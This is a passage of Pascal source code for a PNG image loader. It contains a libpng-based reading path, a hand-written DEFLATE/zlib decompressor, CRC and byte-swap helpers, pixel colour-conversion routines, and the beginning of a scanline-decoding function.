png_set_read_fn(png_ptr,@Stream,PNGReadData);
// png_set_sig_bytes(png_ptr,kPngSignatureLength);
png_read_info(png_ptr,info_ptr);
Width:=0;
Height:=0;
BitDepth:=0;
ColorType:=-1;
if png_get_IHDR(png_ptr,info_ptr,@Width,@Height,@BitDepth,@ColorType,nil,nil,nil)<>1 then begin
png_destroy_read_struct(@png_Ptr,nil,nil);
exit;
end;
ImageWidth:=Width;
ImageHeight:=Height;
if ColorType in [PNG_COLOR_TYPE_GRAY,PNG_COLOR_TYPE_GRAY_ALPHA,PNG_COLOR_TYPE_PALETTE,PNG_COLOR_TYPE_RGB,PNG_COLOR_TYPE_RGBA] then begin
if not HeaderOnly then begin
png_set_strip_16(png_ptr);
png_set_packing(png_ptr);
if (ColorType=PNG_COLOR_TYPE_PALETTE) or
((ColorType=PNG_COLOR_TYPE_GRAY) and (BitDepth<8)) then begin
png_set_expand(png_ptr);
end;
if png_get_valid(png_ptr,info_ptr,PNG_INFO_tRNS)=PNG_INFO_tRNS then begin
png_set_expand(png_ptr);
end;
png_set_gray_to_rgb(png_ptr);
png_set_filler(png_ptr,$ff,PNG_FILLER_AFTER);
png_read_update_info(png_ptr,info_ptr);
if png_get_IHDR(png_ptr,info_ptr,@Width,@Height,@BitDepth,@ColorType,nil,nil,nil)<>1 then begin
png_destroy_read_struct(@png_Ptr,nil,nil);
exit;
end;
GetMem(ImageData,ImageWidth*ImageHeight*4);
BytesPerRow:=png_get_rowbytes(png_ptr,info_ptr);
GetMem(Row,BytesPerRow*2);
NumPasses:=png_set_interlace_handling(png_ptr);
for Pass:=1 to NumPasses do begin
case ColorType of
PNG_COLOR_TYPE_GRAY:begin
case BitDepth of
8:begin
Dst:=ImageData;
for y:=0 to ImageHeight-1 do begin
png_read_row(png_ptr,pointer(Row),nil);
Src:=Row;
for x:=0 to ImageWidth-1 do begin
Value:=byte(Src^);
inc(Src);
Dst^:=ansichar(byte(Value));
inc(Dst);
Dst^:=ansichar(byte(Value));
inc(Dst);
Dst^:=ansichar(byte(Value));
inc(Dst);
Dst^:=#$ff;
inc(Dst);
end;
end;
end;
16:begin
Dst:=ImageData;
for y:=0 to ImageHeight-1 do begin
png_read_row(png_ptr,pointer(Row),nil);
Src16:=pointer(Row);
for x:=0 to ImageWidth-1 do begin
Value:=Src16^ shr 8;
inc(Src16);
Dst^:=ansichar(byte(Value));
inc(Dst);
Dst^:=ansichar(byte(Value));
inc(Dst);
Dst^:=ansichar(byte(Value));
inc(Dst);
Dst^:=#$ff;
inc(Dst);
end;
end;
end;
else begin
png_destroy_read_struct(@png_Ptr,nil,nil);
exit;
end;
end;
end;
PNG_COLOR_TYPE_GRAY_ALPHA:begin
Dst:=ImageData;
for y:=0 to ImageHeight-1 do begin
png_read_row(png_ptr,pointer(Row),nil);
Src:=Row;
for x:=0 to ImageWidth-1 do begin
Dst^:=Src^;
inc(Dst);
Dst^:=Src^;
inc(Dst);
Dst^:=Src^;
inc(Dst);
inc(Src);
Dst^:=Src^;
inc(Dst);
inc(Src);
end;
end;
end;
PNG_COLOR_TYPE_PALETTE:begin
Dst:=ImageData;
for y:=0 to ImageHeight-1 do begin
png_read_row(png_ptr,pointer(Row),nil);
Src:=Row;
for x:=0 to ImageWidth-1 do begin
color:=info_ptr^.palette;
inc(color,byte(Src^));
inc(Src);
Dst^:=ansichar(byte(color^.red));
inc(Dst);
Dst^:=ansichar(byte(color^.green));
inc(Dst);
Dst^:=ansichar(byte(color^.blue));
inc(Dst);
Dst^:=#$ff;
inc(Dst);
end;
end;
end;
PNG_COLOR_TYPE_RGB:begin
case BitDepth of
8:begin
Dst:=ImageData;
for y:=0 to ImageHeight-1 do begin
png_read_row(png_ptr,pointer(Row),nil);
Src:=Row;
for x:=0 to ImageWidth-1 do begin
Dst^:=Src^;
inc(Src);
inc(Dst);
Dst^:=Src^;
inc(Src);
inc(Dst);
Dst^:=Src^;
inc(Src);
inc(Dst);
Dst^:=Src^;
inc(Src);
inc(Dst);
end;
end;
end;
16:begin
Dst:=ImageData;
for y:=0 to ImageHeight-1 do begin
png_read_row(png_ptr,pointer(Row),nil);
Src16:=pointer(Row);
for x:=0 to ImageWidth-1 do begin
Dst^:=ansichar(byte(Src16^ shr 8));
inc(Src16);
inc(Dst);
Dst^:=ansichar(byte(Src16^ shr 8));
inc(Src16);
inc(Dst);
Dst^:=ansichar(byte(Src16^ shr 8));
inc(Src16);
inc(Dst);
Dst^:=ansichar(byte(Src16^ shr 8));
inc(Src16);
inc(Dst);
end;
end;
end;
else begin
png_destroy_read_struct(@png_Ptr,nil,nil);
exit;
end;
end;
end;
PNG_COLOR_TYPE_RGBA:begin
case BitDepth of
8:begin
Dst:=ImageData;
for y:=0 to ImageHeight-1 do begin
png_read_row(png_ptr,pointer(Row),nil);
Src:=Row;
Move(Src^,Dst^,ImageWidth*4);
inc(Dst,ImageWidth*4);
end;
end;
16:begin
Dst:=ImageData;
for y:=0 to ImageHeight-1 do begin
png_read_row(png_ptr,pointer(Row),nil);
Src16:=pointer(Row);
for x:=0 to ImageWidth-1 do begin
Dst^:=ansichar(byte(Src16^ shr 8));
inc(Src16);
inc(Dst);
Dst^:=ansichar(byte(Src16^ shr 8));
inc(Src16);
inc(Dst);
Dst^:=ansichar(byte(Src16^ shr 8));
inc(Src16);
inc(Dst);
Dst^:=ansichar(byte(Src16^ shr 8));
inc(Src16);
inc(Dst);
end;
end;
end;
else begin
png_destroy_read_struct(@png_Ptr,nil,nil);
exit;
end;
end;
end;
end;
end;
FreeMem(Row);
png_read_end(png_ptr,info_ptr);
end;
end else begin
png_destroy_read_struct(@png_Ptr,nil,nil);
exit;
end;
png_destroy_read_struct(@png_Ptr,nil,nil);
result:=true;
end;
{$else}
//const PNGHeader:TPNGHeader=($89,$50,$4e,$47,$0d,$0a,$1a,$0a);
function CRC32(data:pointer;length:longword):longword;
const CRC32Table:array[0..15] of longword=($00000000,$1db71064,$3b6e20c8,$26d930ac,$76dc4190,
$6b6b51f4,$4db26158,$5005713c,$edb88320,$f00f9344,
$d6d6a3e8,$cb61b38c,$9b64c2b0,$86d3d2d4,$a00ae278,
$bdbdf21c);
var buf:pansichar;
i:longword;
begin
if length=0 then begin
result:=0;
end else begin
buf:=data;
result:=$ffffffff;
for i:=1 to length do begin
result:=result xor byte(buf^);
result:=CRC32Table[result and $f] xor (result shr 4);
result:=CRC32Table[result and $f] xor (result shr 4);
inc(buf);
end;
result:=result xor $ffffffff;
end;
end;
function Swap16(x:word):word;
begin
result:=((x and $ff) shl 8) or ((x and $ff00) shr 8);
end;
function Swap32(x:longword):longword;
begin
result:=(Swap16(x and $ffff) shl 16) or Swap16((x and $ffff0000) shr 16);
end;
function Swap64(x:int64):int64;
begin
result:=(Swap32(x and $ffffffff) shl 32) or Swap32((x and $ffffffff00000000) shr 32);
end;
{$ifdef android}
function DoInflate(InData:pointer;InLen:longword;var DestData:pointer;var DestLen:longword;ParseHeader:boolean):boolean;
var d_stream:z_stream;
r:longint;
Delta:longword;
begin
Delta:=4096;
while Delta<=InLen do begin
inc(Delta,Delta);
end;
DestLen:=Delta;
GetMem(DestData,DestLen);
FillChar(d_stream,SizeOf(z_stream),AnsiChar(#0));
d_stream.next_in:=InData;
d_stream.avail_in:=InLen;
d_stream.next_out:=DestData;
d_stream.avail_out:=DestLen;
if ParseHeader then begin
r:=inflateInit(d_stream);
end else begin
r:=inflateInit2(d_stream,-14{MAX_WBITS});
end;
if r<>Z_OK then begin
FreeMem(DestData);
DestData:=nil;
result:=false;
exit;
end;
while true do begin
r:=Inflate(d_stream,Z_NO_FLUSH);
if r=Z_STREAM_END then begin
break;
end else if r<Z_OK then begin
InflateEnd(d_stream);
FreeMem(DestData);
DestData:=nil;
result:=false;
exit;
end;
inc(DestLen,Delta);
ReallocMem(DestData,DestLen);
d_stream.next_out:=pointer(@PAnsiChar(DestData)[d_stream.total_out]);
d_stream.avail_out:=Delta;
end;
DestLen:=d_stream.total_out;
ReallocMem(DestData,DestLen);
InflateEnd(d_stream);
result:=true;
end;
{$else}
function DoInflate(InData:pointer;InLen:longword;var DestData:pointer;var DestLen:longword;ParseHeader:boolean):boolean;
const CLCIndex:array[0..18] of byte=(16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15);
type pword=^word;
PTree=^TTree;
TTree=packed record
Table:array[0..15] of word;
Translation:array[0..287] of word;
end;
PBuffer=^TBuffer;
TBuffer=array[0..65535] of byte;
PLengths=^TLengths;
TLengths=array[0..288+32-1] of byte;
POffsets=^TOffsets;
TOffsets=array[0..15] of word;
PBits=^TBits;
TBits=array[0..29] of byte;
PBase=^TBase;
TBase=array[0..29] of word;
var Tag,BitCount,DestSize:longword;
SymbolLengthTree,DistanceTree,FixedSymbolLengthTree,FixedDistanceTree:PTree;
LengthBits,DistanceBits:PBits;
LengthBase,DistanceBase:PBase;
Source,SourceEnd:pansichar;
Dest:pansichar;
procedure IncSize(length:longword);
var j:longword;
begin
if (DestLen+length)>=DestSize then begin
if DestSize=0 then begin
DestSize:=1;
end;
while (DestLen+length)>=DestSize do begin
inc(DestSize,DestSize);
end;
j:=ptruint(Dest)-ptruint(DestData);
ReAllocMem(DestData,DestSize);
ptruint(Dest):=ptruint(DestData)+j;
end;
end;
function adler32(data:pointer;length:longword):longword;
const BASE=65521;
NMAX=5552;
var buf:pansichar;
s1,s2,k,i:longword;
begin
s1:=1;
s2:=0;
buf:=data;
while length>0 do begin
if length<NMAX then begin
k:=length;
end else begin
k:=NMAX;
end;
dec(length,k);
for i:=1 to k do begin
inc(s1,byte(buf^));
inc(s2,s1);
inc(buf);
end;
s1:=s1 mod BASE;
s2:=s2 mod BASE;
end;
result:=(s2 shl 16) or s1;
end;
procedure BuildBitsBase(Bits:pansichar;Base:pword;Delta,First:longint);
var i,Sum:longint;
begin
for i:=0 to Delta-1 do begin
Bits[i]:=ansichar(#0);
end;
for i:=0 to (30-Delta)-1 do begin
Bits[i+Delta]:=ansichar(byte(i div Delta));
end;
Sum:=First;
for i:=0 to 29 do begin
Base^:=Sum;
inc(Base);
inc(Sum,1 shl byte(Bits[i]));
end;
end;
procedure BuildFixedTrees(var lt,dt:TTree);
var i:longint;
begin
for i:=0 to 6 do begin
lt.Table[i]:=0;
end;
lt.Table[7]:=24;
lt.Table[8]:=152;
lt.Table[9]:=112;
for i:=0 to 23 do begin
lt.Translation[i]:=256+i;
end;
for i:=0 to 143 do begin
lt.Translation[24+i]:=i;
end;
for i:=0 to 7 do begin
lt.Translation[168+i]:=280+i;
end;
for i:=0 to 111 do begin
lt.Translation[176+i]:=144+i;
end;
for i:=0 to 4 do begin
dt.Table[i]:=0;
end;
dt.Table[5]:=32;
for i:=0 to 31 do begin
dt.Translation[i]:=i;
end;
end;
procedure BuildTree(var t:TTree;Lengths:pansichar;Num:longint);
var Offsets:POffsets;
i:longint;
Sum:longword;
begin
New(Offsets);
try
for i:=0 to 15 do begin
t.Table[i]:=0;
end;
for i:=0 to Num-1 do begin
inc(t.Table[byte(Lengths[i])]);
end;
t.Table[0]:=0;
Sum:=0;
for i:=0 to 15 do begin
Offsets^[i]:=Sum;
inc(Sum,t.Table[i]);
end;
for i:=0 to Num-1 do begin
if lengths[i]<>ansichar(#0) then begin
t.Translation[Offsets^[byte(lengths[i])]]:=i;
inc(Offsets^[byte(lengths[i])]);
end;
end;
finally
Dispose(Offsets);
end;
end;
function GetBit:longword;
begin
if BitCount=0 then begin
Tag:=byte(Source^);
inc(Source);
BitCount:=7;
end else begin
dec(BitCount);
end;
result:=Tag and 1;
Tag:=Tag shr 1;
end;
function ReadBits(Num,Base:longword):longword;
var Limit,Mask:longword;
begin
result:=0;
if Num<>0 then begin
Limit:=1 shl Num;
Mask:=1;
while Mask<Limit do begin
if GetBit<>0 then begin
inc(result,Mask);
end;
Mask:=Mask shl 1;
end;
end;
inc(result,Base);
end;
function DecodeSymbol(var t:TTree):longword;
var Sum,c,l:longint;
begin
Sum:=0;
c:=0;
l:=0;
repeat
c:=(c*2)+longint(GetBit);
inc(l);
inc(Sum,t.Table[l]);
dec(c,t.Table[l]);
until not (c>=0);
result:=t.Translation[Sum+c];
end;
procedure DecodeTrees(var lt,dt:TTree);
var CodeTree:PTree;
Lengths:PLengths;
hlit,hdist,hclen,i,num,length,clen,Symbol,Prev:longword;
begin
New(CodeTree);
New(Lengths);
try
FillChar(CodeTree^,sizeof(TTree),ansichar(#0));
FillChar(Lengths^,sizeof(TLengths),ansichar(#0));
hlit:=ReadBits(5,257);
hdist:=ReadBits(5,1);
hclen:=ReadBits(4,4);
for i:=0 to 18 do begin
lengths^[i]:=0;
end;
for i:=1 to hclen do begin
clen:=ReadBits(3,0);
lengths^[CLCIndex[i-1]]:=clen;
end;
BuildTree(CodeTree^,pansichar(pointer(@lengths^[0])),19);
num:=0;
while num<(hlit+hdist) do begin
Symbol:=DecodeSymbol(CodeTree^);
case Symbol of
16:begin
prev:=lengths^[num-1];
length:=ReadBits(2,3);
while length>0 do begin
lengths^[num]:=prev;
inc(num);
dec(length);
end;
end;
17:begin
length:=ReadBits(3,3);
while length>0 do begin
lengths^[num]:=0;
inc(num);
dec(length);
end;
end;
18:begin
length:=ReadBits(7,11);
while length>0 do begin
lengths^[num]:=0;
inc(num);
dec(length);
end;
end;
else begin
lengths^[num]:=Symbol;
inc(num);
end;
end;
end;
BuildTree(lt,pansichar(pointer(@lengths^[0])),hlit);
BuildTree(dt,pansichar(pointer(@lengths^[hlit])),hdist);
finally
Dispose(CodeTree);
Dispose(Lengths);
end;
end;
function InflateBlockData(var lt,dt:TTree):boolean;
var Symbol:longword;
Length,Distance,Offset,i:longint;
begin
result:=false;
while (Source<SourceEnd) or (BitCount>0) do begin
Symbol:=DecodeSymbol(lt);
if Symbol=256 then begin
result:=true;
break;
end;
if Symbol<256 then begin
IncSize(1);
Dest^:=ansichar(byte(Symbol));
inc(Dest);
inc(DestLen);
end else begin
dec(Symbol,257);
Length:=ReadBits(LengthBits^[Symbol],LengthBase^[Symbol]);
Distance:=DecodeSymbol(dt);
Offset:=ReadBits(DistanceBits^[Distance],DistanceBase^[Distance]);
IncSize(length);
for i:=0 to length-1 do begin
Dest[i]:=Dest[i-Offset];
end;
inc(Dest,Length);
inc(DestLen,Length);
end;
end;
end;
function InflateUncompressedBlock:boolean;
var length,invlength:longword;
begin
result:=false;
length:=(byte(source[1]) shl 8) or byte(source[0]);
invlength:=(byte(source[3]) shl 8) or byte(source[2]);
if length<>((not invlength) and $ffff) then begin
exit;
end;
IncSize(length);
inc(Source,4);
if Length>0 then begin
Move(Source^,Dest^,Length);
inc(Source,Length);
inc(Dest,Length);
end;
BitCount:=0;
inc(DestLen,Length);
result:=true;
end;
function InflateFixedBlock:boolean;
begin
result:=InflateBlockData(FixedSymbolLengthTree^,FixedDistanceTree^);
end;
function InflateDynamicBlock:boolean;
begin
DecodeTrees(SymbolLengthTree^,DistanceTree^);
result:=InflateBlockData(SymbolLengthTree^,DistanceTree^);
end;
function Uncompress:boolean;
var Final,r:boolean;
BlockType:longword;
begin
result:=false;
BitCount:=0;
Final:=false;
while not Final do begin
Final:=GetBit<>0;
BlockType:=ReadBits(2,0);
case BlockType of
0:begin
r:=InflateUncompressedBlock;
end;
1:begin
r:=InflateFixedBlock;
end;
2:begin
r:=InflateDynamicBlock;
end;
else begin
r:=false;
end;
end;
if not r then begin
exit;
end;
end;
result:=true;
end;
function UncompressZLIB:boolean;
var cmf,flg:byte;
a32:longword;
begin
result:=false;
Source:=InData;
cmf:=byte(Source[0]);
flg:=byte(Source[1]);
if ((((cmf shl 8)+flg) mod 31)<>0) or ((cmf and $f)<>8) or ((cmf shr 4)>7) or ((flg and $20)<>0) then begin
exit;
end;
a32:=(byte(Source[InLen-4]) shl 24) or (byte(Source[InLen-3]) shl 16) or (byte(Source[InLen-2]) shl 8) or (byte(Source[InLen-1]) shl 0);
inc(Source,2);
dec(InLen,6);
SourceEnd:=@Source[InLen];
result:=Uncompress;
if not result then begin
exit;
end;
result:=adler32(DestData,DestLen)=a32;
end;
function UncompressDirect:boolean;
begin
Source:=InData;
SourceEnd:=@Source[InLen];
result:=Uncompress;
end;
begin
DestData:=nil;
LengthBits:=nil;
DistanceBits:=nil;
LengthBase:=nil;
DistanceBase:=nil;
SymbolLengthTree:=nil;
DistanceTree:=nil;
FixedSymbolLengthTree:=nil;
FixedDistanceTree:=nil;
try
New(LengthBits);
New(DistanceBits);
New(LengthBase);
New(DistanceBase);
New(SymbolLengthTree);
New(DistanceTree);
New(FixedSymbolLengthTree);
New(FixedDistanceTree);
try
begin
FillChar(LengthBits^,sizeof(TBits),ansichar(#0));
FillChar(DistanceBits^,sizeof(TBits),ansichar(#0));
FillChar(LengthBase^,sizeof(TBase),ansichar(#0));
FillChar(DistanceBase^,sizeof(TBase),ansichar(#0));
FillChar(SymbolLengthTree^,sizeof(TTree),ansichar(#0));
FillChar(DistanceTree^,sizeof(TTree),ansichar(#0));
FillChar(FixedSymbolLengthTree^,sizeof(TTree),ansichar(#0));
FillChar(FixedDistanceTree^,sizeof(TTree),ansichar(#0));
end;
begin
BuildFixedTrees(FixedSymbolLengthTree^,FixedDistanceTree^);
BuildBitsBase(pansichar(pointer(@LengthBits^[0])),pword(pointer(@LengthBase^[0])),4,3);
BuildBitsBase(pansichar(pointer(@DistanceBits^[0])),pword(pointer(@DistanceBase^[0])),2,1);
LengthBits^[28]:=0;
LengthBase^[28]:=258;
end;
begin
GetMem(DestData,4096);
DestSize:=4096;
Dest:=DestData;
DestLen:=0;
if ParseHeader then begin
result:=UncompressZLIB;
end else begin
result:=UncompressDirect;
end;
if result then begin
ReAllocMem(DestData,DestLen);
end else if assigned(DestData) then begin
FreeMem(DestData);
DestData:=nil;
end;
end;
finally
if assigned(LengthBits) then begin
Dispose(LengthBits);
end;
if assigned(DistanceBits) then begin
Dispose(DistanceBits);
end;
if assigned(LengthBase) then begin
Dispose(LengthBase);
end;
if assigned(DistanceBase) then begin
Dispose(DistanceBase);
end;
if assigned(SymbolLengthTree) then begin
Dispose(SymbolLengthTree);
end;
if assigned(DistanceTree) then begin
Dispose(DistanceTree);
end;
if assigned(FixedSymbolLengthTree) then begin
Dispose(FixedSymbolLengthTree);
end;
if assigned(FixedDistanceTree) then begin
Dispose(FixedDistanceTree);
end;
end;
except
result:=false;
end;
end;
{$endif}
type PPNGPixelEx=^TPNGPixelEx;
TPNGPixelEx=packed record
r,g,b,a:word;
end;
TPNGColorFunc=function(x:int64):TPNGPixelEx;
function ColorGray1(x:int64):TPNGPixelEx;
begin
result.r:=(0-(x and 1)) and $ffff;
result.g:=(0-(x and 1)) and $ffff;
result.b:=(0-(x and 1)) and $ffff;
result.a:=$ffff;
end;
function ColorGray2(x:int64):TPNGPixelEx;
begin
result.r:=(x and 3) or ((x and 3) shl 2) or ((x and 3) shl 4) or ((x and 3) shl 6) or ((x and 3) shl 8) or ((x and 3) shl 10) or ((x and 3) shl 12) or ((x and 3) shl 14);
result.g:=(x and 3) or ((x and 3) shl 2) or ((x and 3) shl 4) or ((x and 3) shl 6) or ((x and 3) shl 8) or ((x and 3) shl 10) or ((x and 3) shl 12) or ((x and 3) shl 14);
result.b:=(x and 3) or ((x and 3) shl 2) or ((x and 3) shl 4) or ((x and 3) shl 6) or ((x and 3) shl 8) or ((x and 3) shl 10) or ((x and 3) shl 12) or ((x and 3) shl 14);
result.a:=$ffff;
end;
function ColorGray4(x:int64):TPNGPixelEx;
begin
result.r:=(x and $f) or ((x and $f) shl 4) or ((x and $f) shl 8) or ((x and $f) shl 12);
result.g:=(x and $f) or ((x and $f) shl 4) or ((x and $f) shl 8) or ((x and $f) shl 12);
result.b:=(x and $f) or ((x and $f) shl 4) or ((x and $f) shl 8) or ((x and $f) shl 12);
result.a:=$ffff;
end;
function ColorGray8(x:int64):TPNGPixelEx;
begin
result.r:=(x and $ff) or ((x and $ff) shl 8);
result.g:=(x and $ff) or ((x and $ff) shl 8);
result.b:=(x and $ff) or ((x and $ff) shl 8);
result.a:=$ffff;
end;
function ColorGray16(x:int64):TPNGPixelEx;
begin
result.r:=x and $ffff;
result.g:=x and $ffff;
result.b:=x and $ffff;
result.a:=$ffff;
end;
function ColorGrayAlpha8(x:int64):TPNGPixelEx;
begin
result.r:=(x and $00ff) or ((x and $00ff) shl 8);
result.g:=(x and $00ff) or ((x and $00ff) shl 8);
result.b:=(x and $00ff) or ((x and $00ff) shl 8);
result.a:=(x and $ff00) or ((x and $ff00) shr 8);
end;
function ColorGrayAlpha16(x:int64):TPNGPixelEx;
begin
result.r:=(x shr 16) and $ffff;
result.g:=(x shr 16) and $ffff;
result.b:=(x shr 16) and $ffff;
result.a:=x and $ffff;
end;
function ColorColor8(x:int64):TPNGPixelEx;
begin
result.r:=(x and $ff) or ((x and $ff) shl 8);
result.g:=((x shr 8) and $ff) or (((x shr 8) and $ff) shl 8);
result.b:=((x shr 16) and $ff) or (((x shr 16) and $ff) shl 8);
result.a:=$ffff;
end;
function ColorColor16(x:int64):TPNGPixelEx;
begin
result.r:=x and $ffff;
result.g:=(x shr 16) and $ffff;
result.b:=(x shr 32) and $ffff;
result.a:=$ffff;
end;
function ColorColorAlpha8(x:int64):TPNGPixelEx;
begin
result.r:=(x and $ff) or ((x and $ff) shl 8);
result.g:=((x shr 8) and $ff) or (((x shr 8) and $ff) shl 8);
result.b:=((x shr 16) and $ff) or (((x shr 16) and $ff) shl 8);
result.a:=((x shr 24) and $ff) or (((x shr 24) and $ff) shl 8);
end;
function ColorColorAlpha16(x:int64):TPNGPixelEx;
begin
result.r:=x and $ffff;
result.g:=(x shr 16) and $ffff;
result.b:=(x shr 32) and $ffff;
result.a:=(x shr 48) and $ffff;
end;
function Paeth(a,b,c:longint):longint;
var p,pa,pb,pc:longint;
begin
p:=(a+b)-c;
pa:=abs(p-a);
pb:=abs(p-b);
pc:=abs(p-c);
if (pa<=pb) and (pa<=pc) then begin
result:=a;
end else if pb<=pc then begin
result:=b;
end else begin
result:=c;
end;
end;
function LoadPNGImage(DataPointer:pointer;DataSize:longword;var ImageData:pointer;var ImageWidth,ImageHeight:longint;HeaderOnly:boolean):boolean;
type TBitsUsed=array[0..7] of longword;
PByteArray=^TByteArray;
TByteArray=array[0..65535] of byte;
TColorData=int64;
const StartPoints:array[0..7,0..1] of word=((0,0),(0,0),(4,0),(0,4),(2,0),(0,2),(1,0),(0,1));
Delta:array[0..7,0..1] of word=((1,1),(8,8),(8,8),(4,8),(4,4),(2,4),(2,2),(1,2));
BitsUsed1Depth:TBitsUsed=($80,$40,$20,$10,$08,$04,$02,$01);
BitsUsed2Depth:TBitsUsed=($c0,$30,$0c,$03,0,0,0,0);
BitsUsed4Depth:TBitsUsed=($f0,$0f,0,0,0,0,0,0);
var DataEnd,DataPtr,DataNextChunk,DataPtrEx:pointer;
ConvertColor:TPNGColorFunc;
ByteWidth:longint;
CountBitsUsed,BitShift,UsingBitGroup,DataIndex:longword;
DataBytes:TColorData;
DataBytes32:longword;
BitDepth,StartX,StartY,DeltaX,DeltaY,{ImageBytesPerPixel,}WidthHeight:longint;
BitsUsed:TBitsUsed;
SwitchLine,CurrentLine,PreviousLine:PByteArray;
CountScanlines,ScanLineLength:array[0..7] of longword;
ChunkLength,ChunkType,Width,Height,ColorType,Comp,Filter,Interlace,CRC,
PalImgBytes,ImgBytes,PaletteSize,l,ml:longword;
First,HasTransparent,CgBI:boolean;
Palette:array of array[0..3] of byte;
TransparentColor:array of word;
i,rx,ry,y{,BitsPerPixel,ImageLineWidth,ImageSize},StartPass,EndPass,d:longint;
idata,DecompressPtr:pointer;
idatasize,idatacapacity,idataexpandedsize,LineFilter:longword;
idataexpanded:pointer;
function GetU8(var p:pointer):byte;
begin
result:=byte(p^);
inc(pansichar(p),sizeof(byte));
end;
function GetU16(var p:pointer):word;
begin
result:=GetU8(p) shl 8;
result:=result or GetU8(p);
end;
function GetU32(var p:pointer):longword;
begin
result:=GetU16(p) shl 16;
result:=result or GetU16(p);
end;
function CalcColor:TColorData;
var r:word;
b:byte;
begin
if UsingBitGroup=0 then begin
DataBytes:=0;
if BitDepth=16 then begin
r:=1;
while r<ByteWidth do begin
b:=CurrentLine^[DataIndex+r];
CurrentLine^[DataIndex+r]:=CurrentLine^[DataIndex+longword(r-1)];
CurrentLine^[DataIndex+longword(r-1)]:=b;
inc(r,2);
end;
end;
Move(CurrentLine^[DataIndex],DataBytes,ByteWidth);
{$ifdef big_endian}
DataBytes:=Swap64(DataBytes);
{$endif}
inc(DataIndex,ByteWidth);
end;
if ByteWidth=1 then begin
result:=(longword(DataBytes and BitsUsed[UsingBitGroup]) and $ffffffff) shr (((CountBitsUsed-UsingBitGroup)-1)*BitShift);
inc(UsingBitgroup);
if UsingBitGroup>=CountBitsUsed then begin
UsingBitGroup:=0;
end;
end else begin
result:=DataBytes;
end;
end;
procedure HandleScanLine(const y,CurrentPass:longint;const ScanLine:PByteArray);
var x,l:longint;
c:TColorData;
pe:TPNGPixelEx;
p:PPNGPixel;
begin
UsingBitGroup:=0;
DataIndex:=0;
if length(Palette)<>0 then begin
l:=length(Palette);
for x:=0 to ScanlineLength[CurrentPass]-1 do begin
c:=CalcColor;
if c<l then begin
p:=PPNGPixel(pointer(@pansichar(ImageData)[((y*longint(Width))+(StartX+(x*DeltaX)))*sizeof(TPNGPixel)]));
{$ifdef PNGHighDepth}
p^.r:=Palette[c,0] or (Palette[c,0] shl 8);
p^.g:=Palette[c,1] or (Palette[c,1] shl 8);
p^.b:=Palette[c,2] or (Palette[c,2] shl 8);
p^.a:=Palette[c,3] or (Palette[c,3] shl 8);
{$else}
p^.r:=Palette[c,0];
p^.g:=Palette[c,1];
p^.b:=Palette[c,2];
p^.a:=Palette[c,3];
{$endif}
end;
end;
end else begin
if addr(ConvertColor)=@ColorColorAlpha8 then begin
l:=length(TransparentColor);
for x:=0 to ScanlineLength[CurrentPass]-1 do begin
DataBytes32:=longword(pointer(@CurrentLine^[DataIndex])^);
{$ifdef big_endian}
DataBytes32:=Swap32(DataBytes32);
{$endif}
inc(DataIndex,4);
pe.r:=(DataBytes32 and $ff) or ((DataBytes32 and $ff) shl 8);
pe.g:=((DataBytes32 shr 8) and $ff) or (((DataBytes32 shr 8) and $ff) shl 8);
pe.b:=((DataBytes32 shr 16) and $ff) or (((DataBytes32 shr 16) and $ff) shl 8);
pe.a:=((DataBytes32 shr 24) and $ff) or (((DataBytes32 shr 24) and $ff) shl 8);
p:=PPNGPixel(pointer(@pansichar(ImageData)[((y*longint(Width))+(StartX+(x*DeltaX)))*sizeof(TPNGPixel)]));
if (((l=1) and ((pe.r=TransparentColor[0]) and (pe.r=TransparentColor[0]) and (pe.b=TransparentColor[0])))) or
(((l=3) and ((pe.r=TransparentColor[0]) and (pe.r=TransparentColor[1]) and (pe.b=TransparentColor[2])))) then begin
pe.a:=0;
end;
{$ifdef PNGHighDepth}
p^.r:=pe.r;
p^.g:=pe.g;
p^.b:=pe.b;
p^.a:=pe.a;
{$else}
p^.r:=pe.r shr 8;
p^.g:=pe.g shr 8;
p^.b:=pe.b shr 8;
p^.a:=pe.a shr 8;
{$endif}
end;
end else if addr(ConvertColor)=@ColorColor8 then begin
l:=length(TransparentColor);
for x:=0 to ScanlineLength[CurrentPass]-1 do begin
DataBytes32:=longword(pointer(@CurrentLine^[DataIndex])^) and $00ffffff;
{$ifdef big_endian}
DataBytes32:=Swap32(DataBytes32);
{$endif}
inc(DataIndex,3);
pe.r:=(DataBytes32 and $ff) or ((DataBytes32 and $ff) shl 8);
pe.g:=((DataBytes32 shr 8) and $ff) or (((DataBytes32 shr 8) and $ff) shl 8);
pe.b:=((DataBytes32 shr 16) and $ff) or (((DataBytes32 shr 16) and $ff) shl 8);
pe.a:=$ffff;
p:=PPNGPixel(pointer(@pansichar(ImageData)[((y*longint(Width))+(StartX+(x*DeltaX)))*sizeof(TPNGPixel)]));
if (((l=1) and ((pe.r=TransparentColor[0]) and (pe.r=TransparentColor[0]) and (pe.b=TransparentColor[0])))) or
(((l=3) and ((pe.r=TransparentColor[0]) and (pe.r=TransparentColor[1]) and (pe.b=TransparentColor[2])))) then begin
pe.a:=0;
end;
{$ifdef PNGHighDepth}
p^.r:=pe.r;
p^.g:=pe.g;
p^.b:=pe.b;
p^.a:=pe.a;
{$else}
p^.r:=pe.r shr 8;
p^.g:=pe.g shr 8;
p^.b:=pe.b shr 8;
p^.a:=pe.a shr 8;
{$endif}
end;
end else if assigned(ConvertColor) then begin
l:=length(TransparentColor);
for x:=0 to ScanlineLength[CurrentPass]-1 do begin
pe:=ConvertColor(CalcColor);
p:=PPNGPixel(pointer(@pansichar(ImageData)[((y*longint(Width))+(StartX+(x*DeltaX)))*sizeof(TPNGPixel)]));
if (((l=1) and ((pe.r=TransparentColor[0]) and (pe.r=TransparentColor[0]) and (pe.b=TransparentColor[0])))) or
(((l=3) and ((pe.r=TransparentColor[0]) and (pe.r=TransparentColor[1]) and (pe.b=TransparentColor[2])))) then begin
pe.a:=0;
end;
{$ifdef PNGHighDepth}
p^.r:=pe.r;
p^.g:=pe.g;
p^.b:=pe.b;
p^.a:=pe.a;
{$else}
p^.r:=pe.r shr 8;
p^.g:=pe.g shr 8;
p^.b:=pe.b shr 8;
p^.a:=pe.a shr 8;
{$endif}
end;
end;
end;
end;
procedure CgBISwapBGR2RGBandUnpremultiply;
const UnpremultiplyFactor={$ifdef PNGHighDepth}65535{$else}255{$endif};
FullAlpha={$ifdef PNGHighDepth}65535{$else}255{$endif};
var i,b,a:longint;
p:PPNGPixel;
begin
a:=FullAlpha;
p:=PPNGPixel(pointer(@pansichar(ImageData)[0]));
